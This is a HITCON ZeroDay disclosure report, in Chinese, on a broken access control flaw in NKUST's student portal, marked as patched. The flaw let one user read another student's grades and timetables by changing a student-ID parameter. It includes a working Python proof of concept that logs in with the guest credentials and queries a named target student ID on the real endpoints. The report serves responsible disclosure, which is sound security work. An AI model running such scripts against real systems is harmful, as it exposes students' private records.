高科大校務系統-成績查詢/課表查詢漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2020-00743
  •  發信 Vendor: 國立高雄科技大學
  • Title: 高科大校務系統-成績查詢/課表查詢漏洞
  • Introduction: 查詢任何學號任何學期的成績以及課表

處理狀態

目前狀態

公開
Last Update : 2020/09/17
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2020/08/22 22:04:20 : 新提交 (由 Takidog 更新此狀態)
  • 2020/08/23 22:29:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/08/24 12:30:59 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/08/24 12:31:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/09/09 11:24:26 : 已修補 (由 組織帳號 更新此狀態)
  • 2020/09/17 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2020-00743
  • 通報者:takidog (Takidog)
  • 風險:中
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://webap.nkust.edu.tw/nkust/
http://webap.nkust.edu.tw/nkust/ag_pro/ag008.jsp
http://webap.nkust.edu.tw/nkust/ag_pro/ag222.jsp

敘述

1.說明

在校務系統中有部分服務並沒有檢查使用者參數是否正常

整個框架下都採用同一個策略,從查詢學生個人成績的頁面可以發現

POST 中的arg03是攜帶學生的學號

將這個方式套用在查詢成績/課表,可以達成查詢指定學號的成績或是課表

2.重現漏洞

在這裡採用高科校務通的爬蟲,並登入學校的公用帳號guest

1.Install requirements

pip3 install lxml==4.5.2
pip3 install requests==2.22.0

import requests
from lxml import etree

LOGIN_TIMEOUT = 10

AP_BASE_URL = "http://webap.nkust.edu.tw"
AP_HEADER_URL = 'http://webap.nkust.edu.tw/nkust/f_head.jsp'
AP_LOGIN_URL = AP_BASE_URL + "/nkust/perchk.jsp"
AP_QUERY_URL = AP_BASE_URL + "/nkust/%s_pro/%s.jsp"

def login(session, username, password, timeout=LOGIN_TIMEOUT):
    payload = {
        "uid": username,
        "pwd": password
    }
    session.headers.update({
        'Origin': 'http://webap.nkust.edu.tw',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
    })
    try:
        req = session.get("http://webap.nkust.edu.tw/nkust/index.html")
        r = session.post(
            AP_LOGIN_URL,
            data=payload,
            timeout=timeout
        )
    except requests.exceptions.Timeout:
        return error_code.WEBAP_SERVER_ERROR
    # parse
    root = etree.HTML(r.text)
    try:
        is_login = root.xpath("/html/body/script")[0].text.find('alert')
        if is_login == -1:
            # login success
            return True
        elif is_login >= 0:
            return False
    except Exception as error:
        return False

    return False

def query(session, qid, **kwargs):
    """AP system query

    Args:
        session ([requests.session]): after load cookies
        qid ([str]): url qid

        kwargs:
            (e.g.)
            ag_query(session=session, qid='ag008',
                           yms='107,2', arg01='107', arg02='2')

            post data will = {
                'yms':'107,2',
                'arg01':'107',
                'arg02':'2'
            }

    Returns:
        [requests.models.Response]: requests response

        [bool]: something error will return False
    """

    try:
        req = session.post(AP_QUERY_URL % (qid[:2], qid),
                           data=kwargs)
        return req
    except:
        return False

    return False

if __name__ == "__main__":
    username = 'guest'
    password = '123'
    target_user_id = "1106137280"
    session = requests.session()
    if login(session, username=username, password=password):
        # query 108-1 scores
        print(query(session, qid="ag008", arg01="108",
                    arg02="2", arg03=target_user_id).text)

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;